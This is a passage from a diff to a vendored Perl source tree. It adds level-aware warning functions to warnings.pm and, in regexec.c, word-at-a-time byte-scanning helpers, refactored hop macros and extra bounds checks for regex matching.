 sub NORMAL () { 1 };
@@ -665,8 +686,18 @@
     my $isobj = 0 ;
     my $wanted = shift;
     my $has_message = $wanted & MESSAGE;
+    my $has_level   = $wanted & LEVEL  ;
 
-    unless (@_ == 1 || @_ == ($has_message ? 2 : 0)) {
+    if ($has_level) {
+	if (@_ != ($has_message ? 3 : 2)) {
+	    my $sub = (caller 1)[3];
+	    my $syntax = $has_message
+		? "category, level, 'message'"
+		: 'category, level';
+	    Croaker("Usage: $sub($syntax)");
+        }
+    }
+    elsif (not @_ == 1 || @_ == ($has_message ? 2 : 0)) {
 	my $sub = (caller 1)[3];
 	my $syntax = $has_message ? "[category,] 'message'" : '[category]';
 	Croaker("Usage: $sub($syntax)");
@@ -704,6 +735,9 @@
 	}
 	$i -= 2 ;
     }
+    elsif ($has_level) {
+	$i = 2 + shift;
+    }
     else {
 	$i = _error_loc(); # see where Carp will allocate the error
     }
@@ -713,13 +747,13 @@
     my(@callers_bitmask) = (caller($i))[9] ;
     my $callers_bitmask =
 	 @callers_bitmask ? $callers_bitmask[0] // $DEFAULT : 0 ;
+    length($callers_bitmask) > ($offset >> 3) or $offset = $Offsets{all};
 
     my @results;
     foreach my $type (FATAL, NORMAL) {
 	next unless $wanted & $type;
 
-	push @results, (vec($callers_bitmask, $offset + $type - 1, 1) ||
-			vec($callers_bitmask, $Offsets{'all'} + $type - 1, 1));
+	push @results, vec($callers_bitmask, $offset + $type - 1, 1);
     }
 
     # &enabled and &fatal_enabled
@@ -726,9 +760,22 @@
     return $results[0] unless $has_message;
 
     # &warnif, and the category is neither enabled as warning nor as fatal
-    return if $wanted == (NORMAL | FATAL | MESSAGE)
+    return if ($wanted & (NORMAL | FATAL | MESSAGE))
+		      == (NORMAL | FATAL | MESSAGE)
 	&& !($results[0] || $results[1]);
 
+    # If we have an explicit level, bypass Carp.
+    if ($has_level and @callers_bitmask) {
+	# logic copied from util.c:mess_sv
+	my $stuff = " at " . join " line ", (caller $i)[1,2];
+	$stuff .= sprintf ", <%s> %s %d",
+			   *${^LAST_FH}{NAME},
+			   ($/ eq "\n" ? "line" : "chunk"), $.
+	    if $. && ${^LAST_FH};
+	die "$message$stuff.\n" if $results[0];
+	return warn "$message$stuff.\n";
+    }
+
     require Carp;
     Carp::croak($message) if $results[0];
     # will always get here for &warn. will only get here for &warnif if the
@@ -751,14 +798,13 @@
 
     for my $name (@names) {
 	if (! defined $Bits{$name}) {
-	    $Bits{$name}     = _mkMask($LAST_BIT);
-	    vec($Bits{'all'}, $LAST_BIT, 1) = 1;
-	    $Offsets{$name}  = $LAST_BIT ++;
-	    foreach my $k (keys %Bits) {
-		vec($Bits{$k}, $LAST_BIT, 1) = 0;
+	    $Offsets{$name}  = $LAST_BIT;
+	    $Bits{$name}     = _mkMask($LAST_BIT++);
+	    $DeadBits{$name} = _mkMask($LAST_BIT++);
+	    if (length($Bits{$name}) > length($Bits{all})) {
+		$Bits{all} .= "\x55";
+		$DeadBits{all} .= "\xaa";
 	    }
-	    $DeadBits{$name} = _mkMask($LAST_BIT);
-	    vec($DeadBits{'all'}, $LAST_BIT++, 1) = 1;
 	}
     }
 }
@@ -788,9 +834,29 @@
     return __chk(NORMAL | FATAL | MESSAGE, @_);
 }
 
+sub enabled_at_level
+{
+    return __chk(NORMAL | LEVEL, @_);
+}
+
+sub fatal_enabled_at_level
+{
+    return __chk(FATAL | LEVEL, @_);
+}
+
+sub warn_at_level
+{
+    return __chk(FATAL | MESSAGE | LEVEL, @_);
+}
+
+sub warnif_at_level
+{
+    return __chk(NORMAL | FATAL | MESSAGE | LEVEL, @_);
+}
+
 # These are not part of any public interface, so we can delete them to save
 # space.
-delete @warnings::{qw(NORMAL FATAL MESSAGE)};
+delete @warnings::{qw(NORMAL FATAL MESSAGE LEVEL)};
 
 1;
 __END__
@@ -1323,6 +1389,9 @@
 
 =head1 FUNCTIONS
 
+Note: The functions with names ending in C<_at_level> were added in Perl
+5.28.
+
 =over 4
 
 =item use warnings::register
@@ -1352,6 +1421,11 @@
 where the object is used.
 Otherwise returns FALSE.
 
+=item warnings::enabled_at_level($category, $level)
+
+Like C<warnings::enabled>, but $level specifies the exact call frame, 0
+being the immediate caller.
+
 =item warnings::fatal_enabled()
 
 Return TRUE if the warnings category with the same name as the current
@@ -1373,6 +1447,11 @@
 scope where the object is used.
 Otherwise returns FALSE.
 
+=item warnings::fatal_enabled_at_level($category, $level)
+
+Like C<warnings::fatal_enabled>, but $level specifies the exact call frame,
+0 being the immediate caller.
+
 =item warnings::warn($message)
 
 Print C<$message> to STDERR.
@@ -1399,7 +1478,11 @@
 If that warnings category has been set to "FATAL" in the scope where C<$object>
 is first used then die. Otherwise return.
 
+=item warnings::warn_at_level($category, $level, $message)
 
+Like C<warnings::warn>, but $level specifies the exact call frame,
+0 being the immediate caller.
+
 =item warnings::warnif($message)
 
 Equivalent to:
@@ -1421,6 +1504,11 @@
     if (warnings::enabled($object))
       { warnings::warn($object, $message) }
 
+=item warnings::warnif_at_level($category, $level, $message)
+
+Like C<warnings::warnif>, but $level specifies the exact call frame,
+0 being the immediate caller.
+
 =item warnings::register_categories(@names)
 
 This registers warning categories for the given names and is primarily for

Modified: vendor/perl/dist/regen_perly.pl
===================================================================
--- vendor/perl/dist/regen_perly.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regen_perly.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -35,6 +35,7 @@
 use warnings;
 use strict;
 
+our $Verbose;
 BEGIN { require './regen/regen_lib.pl'; }
 
 my $bison = 'bison';

Modified: vendor/perl/dist/regexec.c
===================================================================
--- vendor/perl/dist/regexec.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/regexec.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -96,6 +96,12 @@
                 = "Can't match, because target string needs to be in UTF-8\n";
 #endif
 
+/* Returns a boolean as to whether the input unsigned number is a power of 2
+ * (2**0, 2**1, etc).  In other words if it has just a single bit set.
+ * If not, subtracting 1 would leave the uppermost bit set, so the & would
+ * yield non-zero */
+#define isPOWER_OF_2(n) ((n & (n-1)) == 0)
+
 #define NON_UTF8_TARGET_BUT_UTF8_REQUIRED(target) STMT_START {           \
     DEBUG_EXECUTE_r(Perl_re_printf( aTHX_  "%s", non_utf8_target_but_utf8_required));\
     goto target;                                                         \
@@ -126,13 +132,16 @@
                     (U8*)(off >= 0 ? reginfo->strend : reginfo->strbeg)) \
 	    : (U8*)(pos + off))
 
-#define HOPBACKc(pos, off) \
-	(char*)(reginfo->is_utf8_target \
-	    ? reghopmaybe3((U8*)pos, (SSize_t)0-off, (U8*)(reginfo->strbeg)) \
-	    : (pos - off >= reginfo->strbeg)	\
-		? (U8*)pos - off		\
+/* like HOPMAYBE3 but backwards. lim must be +ve. Returns NULL on overshoot */
+#define HOPBACK3(pos, off, lim) \
+	(reginfo->is_utf8_target                          \
+	    ? reghopmaybe3((U8*)pos, (SSize_t)0-off, (U8*)(lim)) \
+	    : (pos - off >= lim)	                         \
+		? (U8*)pos - off		                 \
 		: NULL)
 
+#define HOPBACKc(pos, off) ((char*)HOPBACK3(pos, off, reginfo->strbeg))
+
 #define HOP3(pos,off,lim) (reginfo->is_utf8_target  ? reghop3((U8*)(pos), off, (U8*)(lim)) : (U8*)(pos + off))
 #define HOP3c(pos,off,lim) ((char*)HOP3(pos,off,lim))
 
@@ -166,38 +175,6 @@
     locinput = (p);  \
     SET_nextchr
 
-
-#define LOAD_UTF8_CHARCLASS(swash_ptr, property_name, invlist) STMT_START {   \
-        if (!swash_ptr) {                                                     \
-            U8 flags = _CORE_SWASH_INIT_ACCEPT_INVLIST;                       \
-            swash_ptr = _core_swash_init("utf8", property_name, &PL_sv_undef, \
-                                         1, 0, invlist, &flags);              \
-            assert(swash_ptr);                                                \
-        }                                                                     \
-    } STMT_END
-
-/* If in debug mode, we test that a known character properly matches */
-#ifdef DEBUGGING
-#   define LOAD_UTF8_CHARCLASS_DEBUG_TEST(swash_ptr,                          \
-                                          property_name,                      \
-                                          invlist,                            \
-                                          utf8_char_in_property)              \
-        LOAD_UTF8_CHARCLASS(swash_ptr, property_name, invlist);               \
-        assert(swash_fetch(swash_ptr, (U8 *) utf8_char_in_property, TRUE));
-#else
-#   define LOAD_UTF8_CHARCLASS_DEBUG_TEST(swash_ptr,                          \
-                                          property_name,                      \
-                                          invlist,                            \
-                                          utf8_char_in_property)              \
-        LOAD_UTF8_CHARCLASS(swash_ptr, property_name, invlist)
-#endif
-
-#define LOAD_UTF8_CHARCLASS_ALNUM() LOAD_UTF8_CHARCLASS_DEBUG_TEST(           \
-                                        PL_utf8_swash_ptrs[_CC_WORDCHAR],     \
-                                        "",                                   \
-                                        PL_XPosix_ptrs[_CC_WORDCHAR],         \
-                                        LATIN_SMALL_LIGATURE_LONG_S_T_UTF8);
-
 #define PLACEHOLDER	/* Something for the preprocessor to grab onto */
 /* TODO: Combine JUMPABLE and HAS_TEXT to cache OP(rn) */
 
@@ -229,13 +206,13 @@
 /* Currently these are only used when PL_regkind[OP(rn)] == EXACT so
    we don't need this definition.  XXX These are now out-of-sync*/
 #define IS_TEXT(rn)   ( OP(rn)==EXACT   || OP(rn)==REF   || OP(rn)==NREF   )
-#define IS_TEXTF(rn)  ( OP(rn)==EXACTFU || OP(rn)==EXACTFU_SS || OP(rn)==EXACTFA || OP(rn)==EXACTFA_NO_TRIE || OP(rn)==EXACTF || OP(rn)==REFF  || OP(rn)==NREFF )
+#define IS_TEXTF(rn)  ( OP(rn)==EXACTFU || OP(rn)==EXACTFU_SS || OP(rn)==EXACTFAA || OP(rn)==EXACTFAA_NO_TRIE || OP(rn)==EXACTF || OP(rn)==REFF  || OP(rn)==NREFF )
 #define IS_TEXTFL(rn) ( OP(rn)==EXACTFL || OP(rn)==REFFL || OP(rn)==NREFFL )
 
 #else
 /* ... so we use this as its faster. */
 #define IS_TEXT(rn)   ( OP(rn)==EXACT || OP(rn)==EXACTL )
-#define IS_TEXTFU(rn)  ( OP(rn)==EXACTFU || OP(rn)==EXACTFLU8 || OP(rn)==EXACTFU_SS || OP(rn) == EXACTFA || OP(rn) == EXACTFA_NO_TRIE)
+#define IS_TEXTFU(rn)  ( OP(rn)==EXACTFU || OP(rn)==EXACTFLU8 || OP(rn)==EXACTFU_SS || OP(rn) == EXACTFAA || OP(rn) == EXACTFAA_NO_TRIE)
 #define IS_TEXTF(rn)  ( OP(rn)==EXACTF  )
 #define IS_TEXTFL(rn) ( OP(rn)==EXACTFL )
 
@@ -491,7 +468,7 @@
 #endif
 
 STATIC bool
-S_isFOO_utf8_lc(pTHX_ const U8 classnum, const U8* character)
+S_isFOO_utf8_lc(pTHX_ const U8 classnum, const U8* character, const U8* e)
 {
     /* Returns a boolean as to whether or not the (well-formed) UTF-8-encoded
      * 'character' is a member of the Posix character class given by 'classnum'
@@ -513,36 +490,360 @@
                         EIGHT_BIT_UTF8_TO_NATIVE(*character, *(character + 1)));
     }
 
-    _CHECK_AND_OUTPUT_WIDE_LOCALE_UTF8_MSG(character, character + UTF8SKIP(character));
+    _CHECK_AND_OUTPUT_WIDE_LOCALE_UTF8_MSG(character, e);
 
-    if (classnum < _FIRST_NON_SWASH_CC) {
-
-        /* Initialize the swash unless done already */
-        if (! PL_utf8_swash_ptrs[classnum]) {
-            U8 flags = _CORE_SWASH_INIT_ACCEPT_INVLIST;
-            PL_utf8_swash_ptrs[classnum] =
-                    _core_swash_init("utf8",
-                                     "",
-                                     &PL_sv_undef, 1, 0,
-                                     PL_XPosix_ptrs[classnum], &flags);
-        }
-
-        return cBOOL(swash_fetch(PL_utf8_swash_ptrs[classnum], (U8 *)
-                                 character,
-                                 TRUE /* is UTF */ ));
-    }
-
     switch ((_char_class_number) classnum) {
         case _CC_ENUM_SPACE:     return is_XPERLSPACE_high(character);
         case _CC_ENUM_BLANK:     return is_HORIZWS_high(character);
         case _CC_ENUM_XDIGIT:    return is_XDIGIT_high(character);
         case _CC_ENUM_VERTSPACE: return is_VERTWS_high(character);
-        default:                 break;
+        default:
+            return _invlist_contains_cp(PL_XPosix_ptrs[classnum],
+                                        utf8_to_uvchr_buf(character, e, NULL));
     }
 
     return FALSE; /* Things like CNTRL are always below 256 */
 }
 
+STATIC char *
+S_find_next_ascii(char * s, const char * send, const bool utf8_target)
+{
+    /* Returns the position of the first ASCII byte in the sequence between 's'
+     * and 'send-1' inclusive; returns 'send' if none found */
+
+    PERL_ARGS_ASSERT_FIND_NEXT_ASCII;
+
+#ifndef EBCDIC
+
+    if ((STRLEN) (send - s) >= PERL_WORDSIZE
+
+                            /* This term is wordsize if subword; 0 if not */
+                          + PERL_WORDSIZE * PERL_IS_SUBWORD_ADDR(s)
+
+                            /* 'offset' */
+                          - (PTR2nat(s) & PERL_WORD_BOUNDARY_MASK))
+    {
+
+        /* Process per-byte until reach word boundary.  XXX This loop could be
+         * eliminated if we knew that this platform had fast unaligned reads */
+        while (PTR2nat(s) & PERL_WORD_BOUNDARY_MASK) {
+            if (isASCII(*s)) {
+                return s;
+            }
+            s++;    /* khw didn't bother creating a separate loop for
+                       utf8_target */
+        }
+
+        /* Here, we know we have at least one full word to process.  Process
+         * per-word as long as we have at least a full word left */
+        do {
+            PERL_UINTMAX_T complemented = ~ * (PERL_UINTMAX_T *) s;
+            if (complemented & PERL_VARIANTS_WORD_MASK)  {
+
+#  if   BYTEORDER == 0x1234 || BYTEORDER == 0x12345678    \
+     || BYTEORDER == 0x4321 || BYTEORDER == 0x87654321
+
+                s += _variant_byte_number(complemented);
+                return s;
+
+#  else   /* If weird byte order, drop into next loop to do byte-at-a-time
+           checks. */
+
+                break;
+#  endif
+            }
+
+            s += PERL_WORDSIZE;
+
+        } while (s + PERL_WORDSIZE <= send);
+    }
+
+#endif
+
+    /* Process per-character */
+    if (utf8_target) {
+        while (s < send) {
+            if (isASCII(*s)) {
+                return s;
+            }
+            s += UTF8SKIP(s);
+        }
+    }
+    else {
+        while (s < send) {
+            if (isASCII(*s)) {
+                return s;
+            }
+            s++;
+        }
+    }
+
+    return s;
+}
+
+STATIC char *
+S_find_next_non_ascii(char * s, const char * send, const bool utf8_target)
+{
+    /* Returns the position of the first non-ASCII byte in the sequence between
+     * 's' and 'send-1' inclusive; returns 'send' if none found */
+
+#ifdef EBCDIC
+
+    PERL_ARGS_ASSERT_FIND_NEXT_NON_ASCII;
+
+    if (utf8_target) {
+        while (s < send) {
+            if ( ! isASCII(*s)) {
+                return s;
+            }
+            s += UTF8SKIP(s);
+        }
+    }
+    else {
+        while (s < send) {
+            if ( ! isASCII(*s)) {
+                return s;
+            }
+            s++;
+        }
+    }
+
+    return s;
+
+#else
+
+    const U8 * next_non_ascii = NULL;
+
+    PERL_ARGS_ASSERT_FIND_NEXT_NON_ASCII;
+    PERL_UNUSED_ARG(utf8_target);
+
+    /* On ASCII platforms invariants and ASCII are identical, so if the string
+     * is entirely invariants, there is no non-ASCII character */
+    return (is_utf8_invariant_string_loc((U8 *) s,
+                                         (STRLEN) (send - s),
+                                         &next_non_ascii))
+            ? (char *) send
+            : (char *) next_non_ascii;
+
+#endif
+
+}
+
+STATIC U8 *
+S_find_span_end(U8 * s, const U8 * send, const U8 span_byte)
+{
+    /* Returns the position of the first byte in the sequence between 's' and
+     * 'send-1' inclusive that isn't 'span_byte'; returns 'send' if none found.
+     * */
+
+    PERL_ARGS_ASSERT_FIND_SPAN_END;
+
+    assert(send >= s);
+
+    if ((STRLEN) (send - s) >= PERL_WORDSIZE
+                          + PERL_WORDSIZE * PERL_IS_SUBWORD_ADDR(s)
+                          - (PTR2nat(s) & PERL_WORD_BOUNDARY_MASK))
+    {
+        PERL_UINTMAX_T span_word;
+
+        /* Process per-byte until reach word boundary.  XXX This loop could be
+         * eliminated if we knew that this platform had fast unaligned reads */
+        while (PTR2nat(s) & PERL_WORD_BOUNDARY_MASK) {
+            if (*s != span_byte) {
+                return s;
+            }
+            s++;
+        }
+
+        /* Create a word filled with the bytes we are spanning */
+        span_word = PERL_COUNT_MULTIPLIER * span_byte;
+
+        /* Process per-word as long as we have at least a full word left */
+        do {
+
+            /* Keep going if the whole word is composed of 'span_byte's */
+            if ((* (PERL_UINTMAX_T *) s) == span_word)  {
+                s += PERL_WORDSIZE;
+                continue;
+            }
+
+            /* Here, at least one byte in the word isn't 'span_byte'. */
+
+#ifdef EBCDIC
+
+            break;
+
+#else
+
+            /* This xor leaves 1 bits only in those non-matching bytes */
+            span_word ^= * (PERL_UINTMAX_T *) s;
+
+            /* Make sure the upper bit of each non-matching byte is set.  This
+             * makes each such byte look like an ASCII platform variant byte */
+            span_word |= span_word << 1;
+            span_word |= span_word << 2;
+            span_word |= span_word << 4;
+
+            /* That reduces the problem to what this function solves */
+            return s + _variant_byte_number(span_word);
+
+#endif
+
+        } while (s + PERL_WORDSIZE <= send);
+    }
+
+    /* Process the straggler bytes beyond the final word boundary */
+    while (s < send) {
+        if (*s != span_byte) {
+            return s;
+        }
+        s++;
+    }
+
+    return s;
+}
+
+STATIC U8 *
+S_find_next_masked(U8 * s, const U8 * send, const U8 byte, const U8 mask)
+{
+    /* Returns the position of the first byte in the sequence between 's'
+     * and 'send-1' inclusive that when ANDed with 'mask' yields 'byte';
+     * returns 'send' if none found.  It uses word-level operations instead of
+     * byte to speed up the process */
+
+    PERL_ARGS_ASSERT_FIND_NEXT_MASKED;
+
+    assert(send >= s);
+    assert((byte & mask) == byte);
+
+#ifndef EBCDIC
+
+    if ((STRLEN) (send - s) >= PERL_WORDSIZE
+                          + PERL_WORDSIZE * PERL_IS_SUBWORD_ADDR(s)
+                          - (PTR2nat(s) & PERL_WORD_BOUNDARY_MASK))
+    {
+        PERL_UINTMAX_T word_complemented, mask_word;
+
+        while (PTR2nat(s) & PERL_WORD_BOUNDARY_MASK) {
+            if (((*s) & mask) == byte) {
+                return s;
+            }
+            s++;
+        }
+
+        word_complemented = ~ (PERL_COUNT_MULTIPLIER * byte);
+        mask_word =            PERL_COUNT_MULTIPLIER * mask;
+
+        do {
+            PERL_UINTMAX_T masked = (* (PERL_UINTMAX_T *) s) & mask_word;
+
+            /* If 'masked' contains 'byte' within it, anding with the
+             * complement will leave those 8 bits 0 */
+            masked &= word_complemented;
+
+            /* This causes the most significant bit to be set to 1 for any
+             * bytes in the word that aren't completely 0 */
+            masked |= masked << 1;
+            masked |= masked << 2;
+            masked |= masked << 4;
+
+            /* The msbits are the same as what marks a byte as variant, so we
+             * can use this mask.  If all msbits are 1, the word doesn't
+             * contain 'byte' */
+            if ((masked & PERL_VARIANTS_WORD_MASK) == PERL_VARIANTS_WORD_MASK) {
+                s += PERL_WORDSIZE;
+                continue;
+            }
+
+            /* Here, the msbit of bytes in the word that aren't 'byte' are 1,
+             * and any that are, are 0.  Complement and re-AND to swap that */
+            masked = ~ masked;
+            masked &= PERL_VARIANTS_WORD_MASK;
+
+            /* This reduces the problem to that solved by this function */
+            s += _variant_byte_number(masked);
+            return s;
+
+        } while (s + PERL_WORDSIZE <= send);
+    }
+
+#endif
+
+    while (s < send) {
+        if (((*s) & mask) == byte) {
+            return s;
+        }
+        s++;
+    }
+
+    return s;
+}
+
+STATIC U8 *
+S_find_span_end_mask(U8 * s, const U8 * send, const U8 span_byte, const U8 mask)
+{
+    /* Returns the position of the first byte in the sequence between 's' and
+     * 'send-1' inclusive that when ANDed with 'mask' isn't 'span_byte'.
+     * 'span_byte' should have been ANDed with 'mask' in the call of this
+     * function.  Returns 'send' if none found.  Works like find_span_end(),
+     * except for the AND */
+
+    PERL_ARGS_ASSERT_FIND_SPAN_END_MASK;
+
+    assert(send >= s);
+    assert((span_byte & mask) == span_byte);
+
+    if ((STRLEN) (send - s) >= PERL_WORDSIZE
+                          + PERL_WORDSIZE * PERL_IS_SUBWORD_ADDR(s)
+                          - (PTR2nat(s) & PERL_WORD_BOUNDARY_MASK))
+    {
+        PERL_UINTMAX_T span_word, mask_word;
+
+        while (PTR2nat(s) & PERL_WORD_BOUNDARY_MASK) {
+            if (((*s) & mask) != span_byte) {
+                return s;
+            }
+            s++;
+        }
+
+        span_word = PERL_COUNT_MULTIPLIER * span_byte;
+        mask_word = PERL_COUNT_MULTIPLIER * mask;
+
+        do {
+            PERL_UINTMAX_T masked = (* (PERL_UINTMAX_T *) s) & mask_word;
+
+            if (masked == span_word) {
+                s += PERL_WORDSIZE;
+                continue;
+            }
+
+#ifdef EBCDIC
+
+            break;
+
+#else
+
+            masked ^= span_word;
+            masked |= masked << 1;
+            masked |= masked << 2;
+            masked |= masked << 4;
+            return s + _variant_byte_number(masked);
+
+#endif
+
+        } while (s + PERL_WORDSIZE <= send);
+    }
+
+    while (s < send) {
+        if (((*s) & mask) != span_byte) {
+            return s;
+        }
+        s++;
+    }
+
+    return s;
+}
+
 /*
  * pregexec and friends
  */
@@ -704,7 +1005,7 @@
 	goto fail;
     }
 
-    RX_MATCH_UTF8_set(rx,utf8_target);
+    RXp_MATCH_UTF8_set(prog, utf8_target);
     reginfo->is_utf8_target = cBOOL(utf8_target);
     reginfo->info_aux = NULL;
     reginfo->strbeg = strbeg;
@@ -838,7 +1139,7 @@
 #ifdef DEBUGGING	/* 7/99: reports of failure (with the older version) */
     if (end_shift < 0)
 	Perl_croak(aTHX_ "panic: end_shift: %" IVdf " pattern:\n%s\n ",
-		   (IV)end_shift, RX_PRECOMP(prog));
+		   (IV)end_shift, RX_PRECOMP(rx));
 #endif
 
   restart:
@@ -884,7 +1185,9 @@
                 (IV)prog->check_end_shift);
         });
         
-        end_point = HOP3(strend, -end_shift, strbeg);
+        end_point = HOPBACK3(strend, end_shift, rx_origin);
+        if (!end_point)
+            goto fail_finish;
         start_point = HOPMAYBE3(rx_origin, start_shift, end_point);
         if (!start_point)
             goto fail_finish;
@@ -902,19 +1205,30 @@
             && prog->intflags & PREGf_ANCH
             && prog->check_offset_max != SSize_t_MAX)
         {
-            SSize_t len = SvCUR(check) - !!SvTAIL(check);
+            SSize_t check_len = SvCUR(check) - !!SvTAIL(check);
             const char * const anchor =
                         (prog->intflags & PREGf_ANCH_GPOS ? strpos : strbeg);
+            SSize_t targ_len = (char*)end_point - anchor;
 
+            if (check_len > targ_len) {
+                DEBUG_EXECUTE_r(Perl_re_printf( aTHX_
+			      "Target string too short to match required substring...\n"));
+                goto fail_finish;
+            }
+
             /* do a bytes rather than chars comparison. It's conservative;
              * so it skips doing the HOP if the result can't possibly end
              * up earlier than the old value of end_point.
              */
-            if ((char*)end_point - anchor > prog->check_offset_max) {
+            assert(anchor + check_len <= (char *)end_point);
+            if (prog->check_offset_max + check_len < targ_len) {
                 end_point = HOP3lim((U8*)anchor,
                                 prog->check_offset_max,
-                                end_point -len)
-                            + len;
+                                end_point - check_len
+                            )
+                            + check_len;
+                if (end_point < start_point)
+                    goto fail_finish;
             }
         }
 
@@ -1467,22 +1781,26 @@
 #define DECL_TRIE_TYPE(scan) \
     const enum { trie_plain, trie_utf8, trie_utf8_fold, trie_latin_utf8_fold,       \
                  trie_utf8_exactfa_fold, trie_latin_utf8_exactfa_fold,              \
-                 trie_utf8l, trie_flu8 }                                            \
+                 trie_utf8l, trie_flu8, trie_flu8_latin }                           \
                     trie_type = ((scan->flags == EXACT)                             \
                                  ? (utf8_target ? trie_utf8 : trie_plain)           \
                                  : (scan->flags == EXACTL)                          \
                                     ? (utf8_target ? trie_utf8l : trie_plain)       \
-                                    : (scan->flags == EXACTFA)                      \
+                                    : (scan->flags == EXACTFAA)                     \
                                       ? (utf8_target                                \
                                          ? trie_utf8_exactfa_fold                   \
                                          : trie_latin_utf8_exactfa_fold)            \
                                       : (scan->flags == EXACTFLU8                   \
-                                         ? trie_flu8                                \
+                                         ? (utf8_target                             \
+                                           ? trie_flu8                              \
+                                           : trie_flu8_latin)                       \
                                          : (utf8_target                             \
                                            ? trie_utf8_fold                         \
-                                           :   trie_latin_utf8_fold)))
+                                           : trie_latin_utf8_fold)))
 
-#define REXEC_TRIE_READ_CHAR(trie_type, trie, widecharmap, uc, uscan, len, uvc, charid, foldlen, foldbuf, uniflags) \
+/* 'uscan' is set to foldbuf, and incremented, so below the end of uscan is
+ * 'foldbuf+sizeof(foldbuf)' */
+#define REXEC_TRIE_READ_CHAR(trie_type, trie, widecharmap, uc, uc_end, uscan, len, uvc, charid, foldlen, foldbuf, uniflags) \
 STMT_START {                                                                        \
     STRLEN skiplen;                                                                 \
     U8 flags = FOLD_FLAGS_FULL;                                                     \
@@ -1489,8 +1807,8 @@
     switch (trie_type) {                                                            \
     case trie_flu8:                                                                 \
         _CHECK_AND_WARN_PROBLEMATIC_LOCALE;                                         \
-        if (utf8_target && UTF8_IS_ABOVE_LATIN1(*uc)) {                             \
-            _CHECK_AND_OUTPUT_WIDE_LOCALE_UTF8_MSG(uc, uc + UTF8SKIP(uc));          \
+        if (UTF8_IS_ABOVE_LATIN1(*uc)) {                                            \
+            _CHECK_AND_OUTPUT_WIDE_LOCALE_UTF8_MSG(uc, uc_end - uc);                \
         }                                                                           \
         goto do_trie_utf8_fold;                                                     \
     case trie_utf8_exactfa_fold:                                                    \
@@ -1499,25 +1817,29 @@
     case trie_utf8_fold:                                                            \
       do_trie_utf8_fold:                                                            \
         if ( foldlen>0 ) {                                                          \
-            uvc = utf8n_to_uvchr( (const U8*) uscan, UTF8_MAXLEN, &len, uniflags ); \
+            uvc = utf8n_to_uvchr( (const U8*) uscan, foldlen, &len, uniflags );     \
             foldlen -= len;                                                         \
             uscan += len;                                                           \
             len=0;                                                                  \
         } else {                                                                    \
+            uvc = _toFOLD_utf8_flags( (const U8*) uc, uc_end, foldbuf, &foldlen,    \
+                                                                            flags); \
             len = UTF8SKIP(uc);                                                     \
-            uvc = _toFOLD_utf8_flags( (const U8*) uc, uc + len, foldbuf, &foldlen,  \
-                                                                            flags); \
             skiplen = UVCHR_SKIP( uvc );                                            \
             foldlen -= skiplen;                                                     \
             uscan = foldbuf + skiplen;                                              \
         }                                                                           \
         break;                                                                      \
+    case trie_flu8_latin:                                                           \
+        _CHECK_AND_WARN_PROBLEMATIC_LOCALE;                                         \
+        goto do_trie_latin_utf8_fold;                                               \
     case trie_latin_utf8_exactfa_fold:                                              \
         flags |= FOLD_FLAGS_NOMIX_ASCII;                                            \
         /* FALLTHROUGH */                                                           \
     case trie_latin_utf8_fold:                                                      \
+      do_trie_latin_utf8_fold:                                                      \
         if ( foldlen>0 ) {                                                          \
-            uvc = utf8n_to_uvchr( (const U8*) uscan, UTF8_MAXLEN, &len, uniflags ); \
+            uvc = utf8n_to_uvchr( (const U8*) uscan, foldlen, &len, uniflags );     \
             foldlen -= len;                                                         \
             uscan += len;                                                           \
             len=0;                                                                  \
@@ -1536,7 +1858,7 @@
         }                                                                           \
         /* FALLTHROUGH */                                                           \
     case trie_utf8:                                                                 \
-        uvc = utf8n_to_uvchr( (const U8*) uc, UTF8_MAXLEN, &len, uniflags );        \
+        uvc = utf8n_to_uvchr( (const U8*) uc, uc_end - uc, &len, uniflags );        \
         break;                                                                      \
     case trie_plain:                                                                \
         uvc = (UV)*uc;                                                              \
@@ -1560,65 +1882,67 @@
     dump_exec_pos(li,s,(reginfo->strend),(reginfo->strbeg), \
                 startpos, doutf8, depth)
 
-#define REXEC_FBC_EXACTISH_SCAN(COND)                     \
-STMT_START {                                              \
-    while (s <= e) {                                      \
-	if ( (COND)                                       \
-	     && (ln == 1 || folder(s, pat_string, ln))    \
-	     && (reginfo->intuit || regtry(reginfo, &s)) )\
-	    goto got_it;                                  \
-	s++;                                              \
-    }                                                     \
-} STMT_END
+#define REXEC_FBC_SCAN(UTF8, CODE)                          \
+    STMT_START {                                            \
+        while (s < strend) {                                \
+            CODE                                            \
+            s += ((UTF8) ? UTF8SKIP(s) : 1);                \
+        }                                                   \
+    } STMT_END
 
-#define REXEC_FBC_UTF8_SCAN(CODE)                     \
-STMT_START {                                          \
-    while (s < strend) {                              \
-	CODE                                          \
-	s += UTF8SKIP(s);                             \
-    }                                                 \
-} STMT_END
+#define REXEC_FBC_CLASS_SCAN(UTF8, COND)                    \
+    STMT_START {                                            \
+        while (s < strend) {                                \
+            REXEC_FBC_CLASS_SCAN_GUTS(UTF8, COND)           \
+        }                                                   \
+    } STMT_END
 
-#define REXEC_FBC_SCAN(CODE)                          \
-STMT_START {                                          \
-    while (s < strend) {                              \
-	CODE                                          \
-	s++;                                          \
-    }                                                 \
-} STMT_END
-
-#define REXEC_FBC_UTF8_CLASS_SCAN(COND)                        \
-REXEC_FBC_UTF8_SCAN( /* Loops while (s < strend) */            \
+#define REXEC_FBC_CLASS_SCAN_GUTS(UTF8, COND)                  \
     if (COND) {                                                \
-	if (tmp && (reginfo->intuit || regtry(reginfo, &s)))   \
-	    goto got_it;                                       \
-	else                                                   \
-	    tmp = doevery;                                     \
+        FBC_CHECK_AND_TRY                                      \
+        s += ((UTF8) ? UTF8SKIP(s) : 1);                       \
+        previous_occurrence_end = s;                           \
     }                                                          \
-    else                                                       \
-	tmp = 1;                                               \
-)
+    else {                                                     \
+        s += ((UTF8) ? UTF8SKIP(s) : 1);                       \
+    }
 
-#define REXEC_FBC_CLASS_SCAN(COND)                             \
-REXEC_FBC_SCAN( /* Loops while (s < strend) */                 \
-    if (COND) {                                                \
-	if (tmp && (reginfo->intuit || regtry(reginfo, &s)))   \
-	    goto got_it;                                       \
-	else                                                   \
-	    tmp = doevery;                                     \
-    }                                                          \
-    else                                                       \
-	tmp = 1;                                               \
-)
-
 #define REXEC_FBC_CSCAN(CONDUTF8,COND)                         \
     if (utf8_target) {                                         \
-	REXEC_FBC_UTF8_CLASS_SCAN(CONDUTF8);                   \
